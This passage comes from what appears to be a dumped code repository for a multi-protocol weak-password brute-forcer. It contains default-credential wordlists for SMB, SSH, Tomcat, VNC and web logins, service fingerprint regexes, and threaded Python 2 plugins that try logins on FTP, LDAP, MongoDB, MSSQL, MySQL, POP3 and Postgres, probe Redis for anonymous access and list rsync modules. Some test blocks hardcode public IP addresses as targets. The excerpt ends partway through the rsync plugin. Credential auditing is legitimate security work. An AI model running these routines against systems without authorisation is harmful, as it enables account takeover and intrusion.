UserGate\nftp|^220(.*?)\nldap|^\\x30\\x0c\\x02\\x01\\x01\\x61\nldap|^\\x30\\x32\\x02\\x01\nldap|^\\x30\\x33\\x02\\x01\nldap|^\\x30\\x38\\x02\\x01\nldap|^\\x30\\x84\nldap|^\\x30\\x45\nldap|^\\x30.*\nsmb|^\\0\\0\\0.\\xffSMBr\\0\\0\\0\\0.*\nmssql|^\\x04\\x01\\0C..\\0\\0\\xaa\\0\\0\\0/\\x0f\\xa2\\x01\\x0e.*\nmssql|^\\x05\\x6e\\x00\nmssql|^\\x04\\x01\\x00\\x25\\x00\\x00\\x01\\x00\\x00\\x00\\x15.*\nmssql|^\\x04\\x01\\x00.\\x00\\x00\\x01\\x00\\x00\\x00\\x15.*\nmssql|^\\x04\\x01\\x00\\x25\\x00\\x00\\x01\\x00\\x00\\x00\\x15.*\nmssql|^\\x04\\x01\\x00.\\x00\\x00\\x01\\x00\\x00\\x00\\x15.*\nmssql|^\\x04\\x01\\0\\x25\\0\\0\\x01\\0\\0\\0\\x15\\0\\x06\\x01.*\nmssql|^\\x04\\x01\\x00\\x25\\x00\\x00\\x01.*\nmysql|^\\x19\\x00\\x00\\x00\\x0a\nmysql|^\\x2c\\x00\\x00\\x00\\x0a\nmysql|hhost \\'\nmysql|khost \\'\nmysql|mysqladmin\nmysql|(.*)5(.*)log\nmysql|(.*)4(.*)log\nmysql|whost \\'\nmysql|^\\(\\x00\\x00\nmysql|this MySQL\nmysql|^N\\x00\nmysql|(.*)mysql(.*)\nmssql|;MSSQLSERVER;\noracle|\\(ERROR_STACK=\\(ERROR=\\(CODE=\noracle|\\(ADDRESS=\\(PROTOCOL=\npostgres|Invalid packet length\npostgres|^EFATAL\nrsync|^@RSYNCD:.*\nsnmp|\\x70\\x75\\x62\\x6c\\x69\\x63\\xa2\nsnmp|\\x41\\x01\\x02\nssh|^SSH-\nssh|^SSH-.*openssh\ntelnet|^\\xff\\xfd\ntelnet-disabled|Telnet is disabled now\ntelnet|^\\xff\\xfe\ntelnet|^xff\\xfb\\x01\\xff\\xfb\\x03\\xff\\xfb\\0\\xff\\xfd.*\nvnc|^RFB.*'\n"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/smb.conf",
    "content": "administrator:1\nadministrator:12\nadministrator:\nadministrator:administrator\nadministrator:123\nadministrator:1234\nadministrator:12345\nadministrator:123456\nadministrator:1234567\nadministrator:12345678\nadministrator:123456789\nadministrator:1234567890\nadministrator:654321\nadministrator:54321\nadministrator:00000000\nadministrator:88888888\nadministrator:pass\nadministrator:password\nadministrator:passwd\nadministrator:!@#$%^\nadministrator:1q2w3e\nadministrator:qawsed\nadministrator:pwd\nadministrator:1qaz2ws3e4\nadministrator:qazwsxedc\nadministrator:!@#$%^&*\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:123123\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/snmp.conf",
    "content": "public"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/ssh.conf",
    "content": "root:1\nroot:12\nroot:root\nroot:root123\nroot:root123456\nroot:123\nroot:1234\nroot:12345\nroot:123456\nroot:1234567\nroot:12345678\nroot:123456789\nroot:1234567890\nroot:654321\nroot:54321\nroot:00000000\nroot:88888888\nroot:pass\nroot:password\nroot:passwd\nroot:!@#$%^\nroot:1q2w3e\nroot:qawsed\nroot:pwd\nroot:test\nroot:qwe123\nroot:1qaz2ws3e4\nroot:qazwsxedc\nroot:!@#$%^&*\nroot:root123\nroot:root123456\nroot:rootpass\nroot:rootpassword\nroot:rootpasswd\nroot:admin\nroot:admin123\nroot:-\nroot:_\nroot:1qaz2wsx\nroot:666666\nroot:888888\nroot:123123\nroot:toor\nroot:123abc\nroot:passw0rd\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:123123\ntest:12345\ntest:123456\ntest:1234567\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321\n"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/tomcat.conf",
    "content": "tomcat:1\ntomcat:12\ntomcat:tomcat\ntomcat:tomcat123\ntomcat:tomcat123456\ntomcat:123\ntomcat:1234\ntomcat:12345\ntomcat:123456\ntomcat:1234567\ntomcat:12345678\ntomcat:123456789\ntomcat:1234567890\ntomcat:654321\ntomcat:54321\ntomcat:00000000\ntomcat:88888888\ntomcat:pass\ntomcat:password\ntomcat:passwd\ntomcat:!@#$%^\ntomcat:1q2w3e\ntomcat:qawsed\ntomcat:pwd\ntomcat:1qaz2ws3e4\ntomcat:qazwsxedc\ntomcat:!@#$%^&*\ntomcat:s3cret\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:123123\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/vnc.conf",
    "content": "root\nvnc\nvnc123\nvncpass\nvnc123456\nvncpassword\nvncpasswd\n123\n1234\n12345\n123456\n1234567\n12345678\n123456789\n1234567890\n654321\nrootpass\n54321\n00000000\n88888888\npass\npassword\npasswd\n!@#$%^\n1q2w3e\nqawsed\npwd\n1qaz2ws3e4\nqazwsxedc\n!@#$%^&*\nroot123\nroot123456\nrootpassword\nrootpasswd"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/web.conf",
    "content": "cisco:1\ncisco:12\ncisco:cisco\ncisco:123\ncisco:1234\ncisco:12345\ncisco:123456\ncisco:1234567\ncisco:12345678\ncisco:123456789\ncisco:1234567890\ncisco:654321\ncisco:54321\ncisco:00000000\ncisco:88888888\ncisco:pass\ncisco:password\ncisco:passwd\ncisco:!@#$%^\ncisco:1q2w3e\ncisco:qawsed\ncisco:pwd\ncisco:1qaz2ws3e4\ncisco:qazwsxedc\ncisco:!@#$%^&*\ncisco:rootpass\ncisco:rootpassword\ncisco:rootpasswd\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:123123\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/Bruteforce/factorys/__init__.py",
    "content": "#!/usr/bin/python\n"
  },
  {
    "path": "Weak_Password/Bruteforce/factorys/pluginFactory.py",
    "content": "# coding: utf-8\n__author__=\"wilson\"\nimport os\nimport sys\n\nsys.path.append(\"../\")\n\nfrom plugins.ftp import *\nfrom plugins.smb import *\nfrom plugins.mysql import *\nfrom plugins.mssql import *\nfrom plugins.ldapd import *\nfrom plugins.mongodb import *\nfrom plugins.redisexp import *\nfrom plugins.rsync import *\nfrom plugins.snmp import *\nfrom plugins.ssh import *\nfrom plugins.ssltest import *\nfrom plugins.vnc import *\nfrom plugins.web import *\n\ndef ftpburp(c):\n\tt = ftp_burp(c)\n\treturn t\n\ndef smbburp(c):\n\tt = smb_burp(c)\n\treturn t\n\ndef mysqlburp(c):\n\tt = mysql_burp(c)\n\treturn t\n\ndef mssqlburp(c):\n\tt = mssql_burp(c)\n\treturn t\n\ndef ldapburp(c):\n\tt = ldap_burp(c)\n\treturn t\n\ndef mongodbburp(c):\n\tt = mongodb_burp(c)\n\treturn t\n\ndef redisburp(c):\n\tt = redis_burp(c)\n\treturn t\n\ndef rsyncburp(c):\n\tt = rsync_burp(c)\n\treturn t\n\ndef snmpburp(c):\n\tt = snmp_burp(c)\n\treturn t\n\ndef sshburp(c):\n\tt = ssh_burp(c)\n\treturn t\n\ndef sslburp(c):\n\tt = ssl_burp(c)\n\treturn t\n\ndef vncburp(c):\n\tt = vnc_burp(c)\n\treturn t\n\ndef webburp(c):\n\tt = web_burp(c)\n\treturn t\n#类\nclass pluginFactory():\n\tdef __init__(self,c):\n\t\tself.pluginList=[]\n\t\tself.config=c\n\t\tself.pluginCategory= {\n\t\t\t\"ftp\":ftpburp,\t\t\t\n\t\t\t\"smb\":smbburp,\n\t\t\t\"mysql\":mysqlburp,\n\t\t\t\"mssql\":mssqlburp,\n\t\t\t\"ldap\":ldapburp,\n\t\t\t\"mongodb\":mongodbburp,\n\t\t\t\"redis\":redisburp,\n\t\t\t\"rsync\":rsyncburp,\n\t\t\t\"snmp\":snmpburp,\n\t\t\t\"ssh\":sshburp,\n\t\t\t\"ssl\":sslburp,\n\t\t\t\"vnc\":vncburp,\n\t\t\t\"web\":webburp,\n\t\t\t}\n\t\tself.get_pluginList()\n\n\n\tdef get_pluginList(self):\n\t\tfor name in self.pluginCategory:\n\t\t\t#实例化每个类\n\t\t\tresult_t=self.pluginCategory.get(name)(self.config)\n\t\t\tself.pluginList.append(result_t)\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/__init__.py",
    "content": "__author__ = 'wilson'\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/ftp.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom multiprocessing.dummy import Pool\nfrom printers import printPink,printGreen\nfrom ftplib import FTP\n\n\nclass ftp_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/ftp.conf\")\n\n\n    def ftp_connect(self,ip,username,password,port):\n        crack=0\n        try:\n            ftp=FTP()\n            ftp.connect(ip,str(port))\n            ftp.login(user=username,passwd=password)\n            crack=1\n            ftp.close()\n        except Exception,e:\n            self.lock.acquire()\n            print \"%s ftp service 's %s:%s login fail \" %(ip,username,password)\n            self.lock.release()\n        return crack\n\n\n    def ftp_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    if self.ftp_connect(ip,username,password,port)==1:\n                        self.lock.acquire()\n                        printGreen(\"%s ftp at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s ftp at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['ftp']):\n            printPink(\"crack ftp  now...\")\n            print \"[*] start crack ftp  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['ftp']:\n                pool.apply_async(func=self.ftp_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop ftp serice  %s\" % time.ctime()\n            print \"[*] crack ftp done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'ftp': ['192.168.1.1:21']} \n    pinglist=['192.168.1.1']\n    test=ftp_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/ldapd.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nimport ldap\n\nclass ldap_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/ldapd.conf\")\n\n\n    def ldap_connect(self,ip,username,password,port):\n        creak=0\n        try:\n            ldappath='ldap://'+ip+':'+port+'/'\n            l = ldap.initialize(ldappath)\n            re=l.simple_bind(username,password)\n            if re==1:\n                creak=1\n        except Exception,e:\n            if e[0]['desc']==\"Can't contact LDAP server\":\n                creak=2\n            pass\n        return creak\n\n    def ldap_creak(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=self.ldap_connect(ip,username,password,port)\n                    if flag==2:\n                        self.lock.acquire()\n                        printGreen(\"%s ldap at %s can't connect\\r\\n\" %(ip,port))\n                        self.lock.release()\n                        break\n\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s ldap at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s ldap at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n                    else:\n                        self.lock.acquire()\n                        print \"%s ldap service 's %s:%s login fail \" %(ip,username,password)\n                        self.lock.release()\n            except Exception,e:\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['ldap']):\n            printPink(\"crack ldap  now...\")\n            print \"[*] start ldap  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['ldap']:\n                pool.apply_async(func=self.ldap_creak,args=(str(ip).split(':')[0],str(ip).split(':')[1]))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop ldap serice  %s\" % time.ctime()\n            print \"[*] crack ldap done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'ldap': ['124.172.223.236:389']} \n    pinglist=['192.168.1.1']\n    test=ldap_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/mongodb.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printRed,printGreen\nfrom multiprocessing.dummy import Pool\nimport pymongo\n\n\nclass mongodb_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/mongodb.conf\")\n\n\n    def mongoDB_connect(self,ip,username,password,port):\n        crack=0\n        try:\n            connection=pymongo.Connection(ip,port)\n            db=connection.admin\n            db.collection_names()\n            self.lock.acquire()\n            printRed('%s mongodb service at %s allow login Anonymous login!!\\r\\n' %(ip,port))\n            self.result.append('%s mongodb service at %s allow login Anonymous login!!\\r\\n' %(ip,port))\n            self.lock.release()\n            crack=1\n\n        except Exception,e:\n            if e[0]=='database error: not authorized for query on admin.system.namespaces':\n                try:\n                    r=db.authenticate(username,password)\n                    if r!=False:\n                        crack=2\n                    else:               \n                        self.lock.acquire()\n                        crack=3\n                        print \"%s mongodb service 's %s:%s login fail \" %(ip,username,password)\n                        self.lock.release()                   \n                except Exception,e:\n                    pass\n\n            else:\n                printRed('%s mongodb service at %s not connect' %(ip,port))\n                crack=4\n        return crack\n\n\n\n    def mongoDB(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=self.mongoDB_connect(ip,username,password,port)\n                    if flag in [1,4]:\n                        break\n\n                    if flag==2:\n                        self.lock.acquire()\n                        printGreen(\"%s mongoDB at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s mongoDB at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['mongodb']):\n            printPink(\"crack mongodb  now...\")\n            print \"[*] start crack mongodb  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['mongodb']:\n                pool.apply_async(func=self.mongoDB,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n            print \"[*] stop mongoDB serice  %s\" % time.ctime()\n            print \"[*] crack mongoDB done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'mongodb': ['112.90.23.158:27017']} \n    pinglist=['192.168.1.1']\n    test=mongodb_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/mssql.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nimport pymssql\n\n\n\nclass mssql_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/mssql.conf\")\n\n    def mssql_connect(self,ip,username,password,port):\n        crack =0\n        try:\n            db=pymssql.connect(host=str(ip)+':'+str(port),user=username,password=password)\n            if db:\n                crack=1\n            db.close()\n        except Exception, e:\n            self.lock.acquire()\n            print \"%s sql service 's %s:%s login fail \" %(ip,username,password)\n            self.lock.release()\n        return crack\n\n\n    def mssq1(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=mssql_connect(ip,username,password,port)\n                    if flag==2:\n                        break\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s mssql at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s mssql at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['mysql']):\n            printPink(\"crack sql serice  now...\")\n            print \"[*] start crack sql serice  %s\" % time.ctime()\n            starttime=time.time()\n            pool=Pool(threads)\n            for ip in ipdict['mssql']:\n                pool.apply_async(func=self.mssq1,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop crack sql serice  %s\" % time.ctime()\n            print \"[*] crack sql serice  done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/mysql.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nimport MySQLdb\n\n\nclass mysql_burp(object):\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/mysql.conf\")\n\n    def mysql_connect(self,ip,username,password,port):\n        crack =0\n        try:\n            db=MySQLdb.connect(ip,username,password,port=port)\n            if db:\n                crack=1\n            db.close()\n        except Exception, e:\n            if e[0]==1045:\n                self.lock.acquire()\n                print \"%s mysql's %s:%s login fail\" %(ip,username,password)\n                self.lock.release()\n            else:\n                self.lock.acquire()\n                print \"connect %s mysql service at %s login fail \" %(ip,port)\n                self.lock.release()\n                crack=2\n        return crack\n\n    def mysq1(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=self.mysql_connect(ip,username,password,port)\n                    if flag==2:\n                        break\n\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s mysql at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s mysql at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['mysql']):\n            printPink(\"crack mysql now...\")\n            print \"[*] start crack mysql %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n            for ip in ipdict['mysql']:\n                pool.apply_async(func=self.mysq1,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n\n            print \"[*] stop crack mysql %s\" % time.ctime()\n            print \"[*] crack mysql done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'mysql': ['127.0.0.1:3306']} \n    pinglist=['127.0.0.1']\n    test=mysql_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/pop3.py",
    "content": "#coding=utf-8\nimport time\nfrom printers import printPink,printGreen\nimport threading\nfrom multiprocessing.dummy import Pool\nimport poplib\n\ndef pop3_Connection(ip,username,password,port):\n    try:\n        pp = poplib.POP3(ip)\n        #pp.set_debuglevel(1)\n        pp.user(username)\n        pp.pass_(password)\n        (mailCount,size) = pp.stat()\n        pp.quit()\n        if mailCount:\n            lock.acquire()\n            printGreen(\"%s pop3 at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n            result.append(\"%s pop3 at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n            lock.release()\n    except Exception,e:\n        print e\n        lock.acquire()\n        print \"%s pop3 service 's %s:%s login fail \" %(ip,username,password)\n        lock.release()\n        pass\n\ndef pop3_l(ip,port):\n        try:\n            d=open('conf/pop3.conf','r')\n            data=d.readline().strip('\\r\\n')\n            while(data):\n                username=data.split(':')[0]\n                password=data.split(':')[1]\n                pop3_Connection(ip,username,password,port)\n                data=d.readline().strip('\\r\\n')\n        except Exception,e:\n            print e\n            pass\n\ndef pop_main(ipdict,threads):\n    printPink(\"crack pop  now...\")\n    print \"[*] start crack pop  %s\" % time.ctime()\n    starttime=time.time()\n\n    global lock\n    lock = threading.Lock()\n    global result\n    result=[]\n\n    pool=Pool(threads)\n\n    for ip in ipdict['pop3']:\n        pool.apply_async(func=pop3_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n    pool.close()\n    pool.join()\n\n    print \"[*] stop pop serice  %s\" % time.ctime()\n    print \"[*] crack pop done,it has Elapsed time:%s \" % (time.time()-starttime)\n    return result"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/postgres.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nimport psycopg2\nimport re\n\n\ndef postgres_connect(ip,username,password,port):\n    crack =0\n    try:\n        db=psycopg2.connect(user=username, password=password, host=ip, port=port)\n        if db:\n            crack=1\n        db.close()\n    except Exception, e:\n        if re.findall(\".*Password.*\",e[0]):\n            lock.acquire()\n            print \"%s postgres's %s:%s login fail\" %(ip,username,password)\n            lock.release()\n            crack=2\n        else:\n            lock.acquire()\n            print \"connect %s postgres service at %s login fail \" %(ip,port)\n            lock.release()\n            crack=3\n        pass\n    return crack\n\ndef postgreS(ip,port):\n        try:\n            d=open('conf/postgres.conf','r')\n            data=d.readline().strip('\\r\\n')\n            while(data):\n                username=data.split(':')[0]\n                password=data.split(':')[1]\n                flag=postgres_connect(ip,username,password,port)\n                time.sleep(0.1)\n                if flag==3:\n                    break\n\n                if flag==1:\n                    lock.acquire()\n                    printGreen(\"%s postgres at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                    result.append(\"%s postgres at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                    lock.release()\n                    break\n                data=d.readline().strip('\\r\\n')\n        except Exception,e:\n            print e\n            pass\n\ndef postgres_main(ipdict,threads):\n    printPink(\"crack postgres now...\")\n    print \"[*] start postgres  %s\" % time.ctime()\n    starttime=time.time()\n\n    global lock\n    lock = threading.Lock()\n    global result\n    result=[]\n\n    pool=Pool(threads)\n\n    for ip in ipdict['postgres']:\n        pool.apply_async(func=postgreS,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n    pool.close()\n    pool.join()\n    print \"[*] stop crack postgres %s\" % time.ctime()\n    print \"[*] crack postgres done,it has Elapsed time:%s \" % (time.time()-starttime)\n    return result"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/redisexp.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom threading import Thread\nfrom printers import printPink,printGreen\nfrom Queue import Queue\nimport redis\n\nclass redis_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        #self.lines=self.config.file2list(\"conf/redis.conf\")\n        self.sp=Queue()\n\n    def redisexp(self):\n        while True:\n            ip,port=self.sp.get()\n            try:\n                r=redis.Redis(host=ip,port=port,db=0,socket_timeout=8)\n                r.dbsize()\n                self.lock.acquire()\n                printGreen('%s redis service at %s allow login Anonymous login!!\\r\\n' %(ip,port))\n                self.result.append('%s redis service at %s allow login Anonymous login!!\\r\\n' %(ip,port))\n                self.lock.release()\n            except Exception,e:\n                pass\n            self.sp.task_done()\n\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['redis']):\n            printPink(\"crack redis  now...\")\n            print \"[*] start crack redis  %s\" % time.ctime()\n            starttime=time.time()\n\n            for i in xrange(threads):\n                t = Thread(target=self.redisexp)\n                t.setDaemon(True)\n                t.start()\n\n            for ip in ipdict['redis']:\n                self.sp.put((str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            self.sp.join()\n\n\n            print \"[*] stop redis serice  %s\" % time.ctime()\n            print \"[*] crack redis done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)      \n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'redis': ['101.201.177.35:6379']} \n    pinglist=['101.201.177.35']\n    test=redis_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/rsync.py",
    "content": "# -*- coding: utf-8 -*-\nimport threading\nfrom printers import printPink,printRed,printGreen\nfrom multiprocessing.dummy import Pool\nfrom Queue import Queue\nimport re\nimport time\nimport threading\nfrom threading import Thread\nfrom rsynclib import *\nimport sys\nimport socket\nsocket.setdefaulttimeout(10)\nsys.path.append(\"../\")\n\nclass rsync_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.sp=Queue()\n\n    def get_ver(self,host):\n        debugging = 0\n        r = rsync(host)\n        r.set_debuglevel(debugging)\n        return r.server_protocol_version\n\n\n    def rsync_connect(self,ip,port):\n        creak=0\n        try:\n            ver=self.get_ver(ip)# get rsync moudle\n            fp = socket.create_connection((ip, port), timeout=8)\n            fp.recv(99)\n\n            fp.sendall(ver.strip('\\r\\n')+'\\n')\n            time.sleep(3)\n            fp.sendall('\\n')\n            resp = fp.recv(99)\n\n            modules = []\n            for line in resp.split('\\n'):\n                #print line\n                modulename = line[:line.find(' ')]\n                if modulename:\n                    if modulename !='@RSYNCD:':\n                        self.lock.acquire()\n                        printGreen(\"%s rsync at %s find a module:%s\\r\\n\" %(ip,port,modulename))\n                        self.result.append(\"%s rsync at %s find a module:%s\\r\\n\" %(ip,port,modulename))               \n                        #print \"find %s module in %s at %s\" %(modulename,ip,port)\n                        self.lock.release()\n                        modules.append(modulename)\n\n        except Exception,e:\n            print e\n            pass\n        return creak\n\n\n    def rsync_creak(self,ip,port):\n            try:\n                self.rsync_connect(ip,port)\n            except Exception,e:\n                print e\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['rsync']):\n            printPink(\"crack rsync  now...\")\n            print \"[*] start crack rsync  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['rsync']:\n                pool.apply_async(func=self.rsync_creak,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop rsync serice  %s\" % 